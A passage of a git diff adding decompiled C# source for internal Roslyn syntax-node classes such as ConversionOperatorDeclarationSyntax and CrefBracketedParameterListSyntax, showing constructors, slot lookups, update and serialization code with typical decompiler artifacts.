((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + semicolonToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)continueKeyword); + writer.WriteValue((IObjectWritable)(object)semicolonToken); + } + + static ContinueStatementSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ContinueStatementSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ContinueStatementSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ConversionOperatorDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ConversionOperatorDeclarationSyntax.cs new file mode 100644 index 0000000..06a904c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ConversionOperatorDeclarationSyntax.cs @@ -0,0 +1,356 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ConversionOperatorDeclarationSyntax : BaseMethodDeclarationSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly GreenNode? modifiers; + + internal readonly SyntaxToken implicitOrExplicitKeyword; + + internal readonly ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier; + + internal readonly SyntaxToken operatorKeyword; + + internal readonly SyntaxToken? checkedKeyword; + + internal readonly TypeSyntax type; + + internal readonly ParameterListSyntax parameterList; + + internal readonly BlockSyntax? body; + + internal readonly ArrowExpressionClauseSyntax? expressionBody; + + internal readonly SyntaxToken? semicolonToken; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public override SyntaxList Modifiers => new SyntaxList(modifiers); + + public SyntaxToken ImplicitOrExplicitKeyword => implicitOrExplicitKeyword; + + public ExplicitInterfaceSpecifierSyntax? ExplicitInterfaceSpecifier => explicitInterfaceSpecifier; + + public SyntaxToken OperatorKeyword => operatorKeyword; + + public SyntaxToken? CheckedKeyword => checkedKeyword; + + public TypeSyntax Type => type; + + public override ParameterListSyntax ParameterList => parameterList; + + public override BlockSyntax? Body => body; + + public override ArrowExpressionClauseSyntax? ExpressionBody => expressionBody; + + public override SyntaxToken? SemicolonToken => semicolonToken; + + internal ConversionOperatorDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken implicitOrExplicitKeyword, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken operatorKeyword, SyntaxToken? checkedKeyword, TypeSyntax type, ParameterListSyntax parameterList, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 11; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)implicitOrExplicitKeyword); + this.implicitOrExplicitKeyword = implicitOrExplicitKeyword; + if (explicitInterfaceSpecifier != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)explicitInterfaceSpecifier); + this.explicitInterfaceSpecifier = explicitInterfaceSpecifier; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorKeyword); + this.operatorKeyword = operatorKeyword; + if (checkedKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)checkedKeyword); + this.checkedKeyword = checkedKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + if (body != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)body); + this.body = body; + } + if (expressionBody != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionBody); + this.expressionBody = expressionBody; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal ConversionOperatorDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken implicitOrExplicitKeyword, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken operatorKeyword, SyntaxToken? checkedKeyword, TypeSyntax type, ParameterListSyntax parameterList, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 11; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)implicitOrExplicitKeyword); + this.implicitOrExplicitKeyword = implicitOrExplicitKeyword; + if (explicitInterfaceSpecifier != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)explicitInterfaceSpecifier); + this.explicitInterfaceSpecifier = explicitInterfaceSpecifier; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorKeyword); + this.operatorKeyword = operatorKeyword; + if (checkedKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)checkedKeyword); + this.checkedKeyword = checkedKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + if (body != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)body); + this.body = body; + } + if (expressionBody != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionBody); + this.expressionBody = expressionBody; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal ConversionOperatorDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken implicitOrExplicitKeyword, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken operatorKeyword, SyntaxToken? checkedKeyword, TypeSyntax type, ParameterListSyntax parameterList, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 11; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)implicitOrExplicitKeyword); + this.implicitOrExplicitKeyword = implicitOrExplicitKeyword; + if (explicitInterfaceSpecifier != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)explicitInterfaceSpecifier); + this.explicitInterfaceSpecifier = explicitInterfaceSpecifier; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorKeyword); + this.operatorKeyword = operatorKeyword; + if (checkedKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)checkedKeyword); + this.checkedKeyword = checkedKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + if (body != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)body); + this.body = body; + } + if (expressionBody != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionBody); + this.expressionBody = expressionBody; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => modifiers, + 2 => implicitOrExplicitKeyword, + 3 => explicitInterfaceSpecifier, + 4 => operatorKeyword, + 5 => checkedKeyword, + 6 => type, + 7 => parameterList, + 8 => body, + 9 => expressionBody, + 10 => semicolonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ConversionOperatorDeclarationSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitConversionOperatorDeclaration(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitConversionOperatorDeclaration(this); + } + + public ConversionOperatorDeclarationSyntax Update(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken implicitOrExplicitKeyword, ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifier, SyntaxToken operatorKeyword, SyntaxToken checkedKeyword, TypeSyntax type, ParameterListSyntax parameterList, BlockSyntax body, ArrowExpressionClauseSyntax expressionBody, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || implicitOrExplicitKeyword != ImplicitOrExplicitKeyword || explicitInterfaceSpecifier != ExplicitInterfaceSpecifier || operatorKeyword != OperatorKeyword || checkedKeyword != CheckedKeyword || type != Type || parameterList != ParameterList || body != Body || expressionBody != ExpressionBody || semicolonToken != SemicolonToken) + { + ConversionOperatorDeclarationSyntax conversionOperatorDeclarationSyntax = SyntaxFactory.ConversionOperatorDeclaration(attributeLists, modifiers, implicitOrExplicitKeyword, explicitInterfaceSpecifier, operatorKeyword, checkedKeyword, type, parameterList, body, expressionBody, semicolonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + conversionOperatorDeclarationSyntax = GreenNodeExtensions.WithDiagnosticsGreen(conversionOperatorDeclarationSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + conversionOperatorDeclarationSyntax = GreenNodeExtensions.WithAnnotationsGreen(conversionOperatorDeclarationSyntax, (IEnumerable)annotations); + } + return conversionOperatorDeclarationSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ConversionOperatorDeclarationSyntax(base.Kind, attributeLists, modifiers, implicitOrExplicitKeyword, explicitInterfaceSpecifier, operatorKeyword, checkedKeyword, type, parameterList, body, expressionBody, semicolonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ConversionOperatorDeclarationSyntax(base.Kind, attributeLists, modifiers, implicitOrExplicitKeyword, explicitInterfaceSpecifier, operatorKeyword, checkedKeyword, type, parameterList, body, expressionBody, semicolonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ConversionOperatorDeclarationSyntax(ObjectReader reader) + : base(reader) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Expected O, but got Unknown + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 11; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + GreenNode val2 = (GreenNode)reader.ReadValue(); + if (val2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val2); + modifiers = val2; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + implicitOrExplicitKeyword = syntaxToken; + ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifierSyntax = (ExplicitInterfaceSpecifierSyntax)reader.ReadValue(); + if (explicitInterfaceSpecifierSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)explicitInterfaceSpecifierSyntax); + explicitInterfaceSpecifier = explicitInterfaceSpecifierSyntax; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + operatorKeyword = syntaxToken2; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken3 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + checkedKeyword = syntaxToken3; + } + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + type = typeSyntax; + ParameterListSyntax parameterListSyntax = (ParameterListSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterListSyntax); + parameterList = parameterListSyntax; + BlockSyntax blockSyntax = (BlockSyntax)reader.ReadValue(); + if (blockSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)blockSyntax); + body = blockSyntax; + } + ArrowExpressionClauseSyntax arrowExpressionClauseSyntax = (ArrowExpressionClauseSyntax)reader.ReadValue(); + if (arrowExpressionClauseSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)arrowExpressionClauseSyntax); + expressionBody = arrowExpressionClauseSyntax; + } + SyntaxToken syntaxToken4 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken4 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken4); + semicolonToken = syntaxToken4; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)modifiers); + writer.WriteValue((IObjectWritable)(object)implicitOrExplicitKeyword); + writer.WriteValue((IObjectWritable)(object)explicitInterfaceSpecifier); + writer.WriteValue((IObjectWritable)(object)operatorKeyword); + writer.WriteValue((IObjectWritable)(object)checkedKeyword); + writer.WriteValue((IObjectWritable)(object)type); + writer.WriteValue((IObjectWritable)(object)parameterList); + writer.WriteValue((IObjectWritable)(object)body); + writer.WriteValue((IObjectWritable)(object)expressionBody); + writer.WriteValue((IObjectWritable)(object)semicolonToken); + } + + static ConversionOperatorDeclarationSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ConversionOperatorDeclarationSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ConversionOperatorDeclarationSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ConversionOperatorMemberCrefSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ConversionOperatorMemberCrefSyntax.cs new file mode 100644 index 0000000..73e422e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ConversionOperatorMemberCrefSyntax.cs @@ -0,0 +1,195 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ConversionOperatorMemberCrefSyntax : MemberCrefSyntax +{ + internal readonly SyntaxToken implicitOrExplicitKeyword; + + internal readonly SyntaxToken operatorKeyword; + + internal readonly SyntaxToken? checkedKeyword; + + internal readonly TypeSyntax type; + + internal readonly CrefParameterListSyntax? parameters; + + public SyntaxToken ImplicitOrExplicitKeyword => implicitOrExplicitKeyword; + + public SyntaxToken OperatorKeyword => operatorKeyword; + + public SyntaxToken? CheckedKeyword => checkedKeyword; + + public TypeSyntax Type => type; + + public CrefParameterListSyntax? Parameters => parameters; + + internal ConversionOperatorMemberCrefSyntax(SyntaxKind kind, SyntaxToken implicitOrExplicitKeyword, SyntaxToken operatorKeyword, SyntaxToken? checkedKeyword, TypeSyntax type, CrefParameterListSyntax? parameters, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 5; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)implicitOrExplicitKeyword); + this.implicitOrExplicitKeyword = implicitOrExplicitKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorKeyword); + this.operatorKeyword = operatorKeyword; + if (checkedKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)checkedKeyword); + this.checkedKeyword = checkedKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + if (parameters != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameters); + this.parameters = parameters; + } + } + + internal ConversionOperatorMemberCrefSyntax(SyntaxKind kind, SyntaxToken implicitOrExplicitKeyword, SyntaxToken operatorKeyword, SyntaxToken? checkedKeyword, TypeSyntax type, CrefParameterListSyntax? parameters, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 5; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)implicitOrExplicitKeyword); + this.implicitOrExplicitKeyword = implicitOrExplicitKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorKeyword); + this.operatorKeyword = operatorKeyword; + if (checkedKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)checkedKeyword); + this.checkedKeyword = checkedKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + if (parameters != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameters); + this.parameters = parameters; + } + } + + internal ConversionOperatorMemberCrefSyntax(SyntaxKind kind, SyntaxToken implicitOrExplicitKeyword, SyntaxToken operatorKeyword, SyntaxToken? checkedKeyword, TypeSyntax type, CrefParameterListSyntax? parameters) + : base(kind) + { + ((GreenNode)this).SlotCount = 5; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)implicitOrExplicitKeyword); + this.implicitOrExplicitKeyword = implicitOrExplicitKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorKeyword); + this.operatorKeyword = operatorKeyword; + if (checkedKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)checkedKeyword); + this.checkedKeyword = checkedKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + if (parameters != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameters); + this.parameters = parameters; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => implicitOrExplicitKeyword, + 1 => operatorKeyword, + 2 => checkedKeyword, + 3 => type, + 4 => parameters, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ConversionOperatorMemberCrefSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitConversionOperatorMemberCref(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitConversionOperatorMemberCref(this); + } + + public ConversionOperatorMemberCrefSyntax Update(SyntaxToken implicitOrExplicitKeyword, SyntaxToken operatorKeyword, SyntaxToken checkedKeyword, TypeSyntax type, CrefParameterListSyntax parameters) + { + if (implicitOrExplicitKeyword != ImplicitOrExplicitKeyword || operatorKeyword != OperatorKeyword || checkedKeyword != CheckedKeyword || type != Type || parameters != Parameters) + { + ConversionOperatorMemberCrefSyntax conversionOperatorMemberCrefSyntax = SyntaxFactory.ConversionOperatorMemberCref(implicitOrExplicitKeyword, operatorKeyword, checkedKeyword, type, parameters); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + conversionOperatorMemberCrefSyntax = GreenNodeExtensions.WithDiagnosticsGreen(conversionOperatorMemberCrefSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + conversionOperatorMemberCrefSyntax = GreenNodeExtensions.WithAnnotationsGreen(conversionOperatorMemberCrefSyntax, (IEnumerable)annotations); + } + return conversionOperatorMemberCrefSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ConversionOperatorMemberCrefSyntax(base.Kind, implicitOrExplicitKeyword, operatorKeyword, checkedKeyword, type, parameters, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ConversionOperatorMemberCrefSyntax(base.Kind, implicitOrExplicitKeyword, operatorKeyword, checkedKeyword, type, parameters, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ConversionOperatorMemberCrefSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 5; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + implicitOrExplicitKeyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + operatorKeyword = syntaxToken2; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken3 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + checkedKeyword = syntaxToken3; + } + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + type = typeSyntax; + CrefParameterListSyntax crefParameterListSyntax = (CrefParameterListSyntax)reader.ReadValue(); + if (crefParameterListSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)crefParameterListSyntax); + parameters = crefParameterListSyntax; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)implicitOrExplicitKeyword); + writer.WriteValue((IObjectWritable)(object)operatorKeyword); + writer.WriteValue((IObjectWritable)(object)checkedKeyword); + writer.WriteValue((IObjectWritable)(object)type); + writer.WriteValue((IObjectWritable)(object)parameters); + } + + static ConversionOperatorMemberCrefSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ConversionOperatorMemberCrefSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ConversionOperatorMemberCrefSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CrefBracketedParameterListSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CrefBracketedParameterListSyntax.cs new file mode 100644 index 0000000..1673846 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CrefBracketedParameterListSyntax.cs @@ -0,0 +1,163 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class CrefBracketedParameterListSyntax : BaseCrefParameterListSyntax +{ + internal readonly SyntaxToken openBracketToken; + + internal readonly GreenNode? parameters; + + internal readonly SyntaxToken closeBracketToken; + + public SyntaxToken OpenBracketToken => openBracketToken; + + public override SeparatedSyntaxList Parameters => new SeparatedSyntaxList(SyntaxList.op_Implicit(new SyntaxList(parameters))); + + public SyntaxToken CloseBracketToken => closeBracketToken; + + internal CrefBracketedParameterListSyntax(SyntaxKind kind, SyntaxToken openBracketToken, GreenNode? parameters, SyntaxToken closeBracketToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBracketToken); + this.openBracketToken = openBracketToken; + if (parameters != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(parameters); + this.parameters = parameters; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBracketToken); + this.closeBracketToken = closeBracketToken; + } + + internal CrefBracketedParameterListSyntax(SyntaxKind kind, SyntaxToken openBracketToken, GreenNode? parameters, SyntaxToken closeBracketToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBracketToken); + this.openBracketToken = openBracketToken; + if (parameters != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(parameters); + this.parameters = parameters; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBracketToken); + this.closeBracketToken = closeBracketToken; + } + + internal CrefBracketedParameterListSyntax(SyntaxKind kind, SyntaxToken openBracketToken, GreenNode? parameters, SyntaxToken closeBracketToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBracketToken); + this.openBracketToken = openBracketToken; + if (parameters != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(parameters); + this.parameters = parameters; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBracketToken); + this.closeBracketToken = closeBracketToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => openBracketToken, + 1 => parameters, + 2 => closeBracketToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.CrefBracketedParameterListSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitCrefBracketedParameterList(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitCrefBracketedParameterList(this); + } + + public CrefBracketedParameterListSyntax Update(SyntaxToken openBracketToken, SeparatedSyntaxList parameters, SyntaxToken closeBracketToken) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + if (openBracketToken == OpenBracketToken) + { + SeparatedSyntaxList val = Parameters; + if (!((ref parameters) != (ref val)) && closeBracketToken == CloseBracketToken) + { + return this; + } + } + CrefBracketedParameterListSyntax crefBracketedParameterListSyntax = SyntaxFactory.CrefBracketedParameterList(openBracketToken, parameters, closeBracketToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + crefBracketedParameterListSyntax = GreenNodeExtensions.WithDiagnosticsGreen(crefBracketedParameterListSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + crefBracketedParameterListSyntax = GreenNodeExtensions.WithAnnotationsGreen(crefBracketedParameterListSyntax, (IEnumerable)annotations); + } + return crefBracketedParameterListSyntax; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new CrefBracketedParameterListSyntax(base.Kind, openBracketToken, parameters, closeBracketToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new CrefBracketedParameterListSyntax(base.Kind, openBracketToken, parameters, closeBracketToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal CrefBracketedParameterListSyntax(ObjectReader reader) + : base(reader) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + openBracketToken = syntaxToken; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + parameters = val; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + closeBracketToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)openBracketToken); 